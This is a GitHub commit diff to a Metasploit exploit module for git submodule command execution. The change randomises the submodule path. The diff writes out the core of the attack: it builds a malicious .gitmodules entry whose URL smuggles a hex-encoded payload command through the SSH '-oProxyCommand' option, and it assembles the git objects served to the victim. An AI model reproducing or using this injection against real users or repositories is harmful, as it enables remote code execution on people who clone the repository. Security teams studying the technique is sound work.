Skip to content

Commit 39299c0

Browse files
committed
randomize submodule path
1 parent 7881a7d commit 39299c0

File tree

1 file changed

+9
-3
lines changed

1 file changed

+9
-3
lines changed

modules/exploits/multi/http/git_submodule_command_exec.rb

Lines changed: 9 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -55,6 +55,7 @@ def initialize(info = {})
5555
register_options(
5656
[
5757
OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
58+
OptString.new('GIT_SUBMODULE', [false, 'The path to use as the malicious git submodule (empty for random)', '']),
5859
]
5960
)
6061
end
@@ -76,15 +77,20 @@ def setup_git
7677
payload_cmd = payload.encoded + " &"
7778
payload_cmd = Rex::Text.to_hex(payload_cmd, prefix = '%')
7879

79-
gitmodules = "[submodule \"test\"]
80-
path = test
80+
submodule_path = datastore['GIT_SUBMODULE']
81+
if submodule_path.blank?
82+
submodule_path = Rex::Text.rand_text_alpha(rand(8) + 2).downcase
83+
end
84+
85+
gitmodules = "[submodule \"#{submodule_path}\"]
86+
path = #{submodule_path}
8187
url = ssh://-oProxyCommand=#{payload_cmd}/
8288
"
8389
sha1, content = build_object('blob', gitmodules)
8490
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
8591

8692
tree = "100644 .gitmodules\0#{[sha1].pack('H*')}"
87-
tree += "160000 test\0#{[sha1].pack('H*')}"
93+
tree += "160000 #{submodule_path}\0#{[sha1].pack('H*')}"
8894
sha1, content = build_object('tree', tree)
8995
@repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
9096

0 commit comments

Comments
 (0)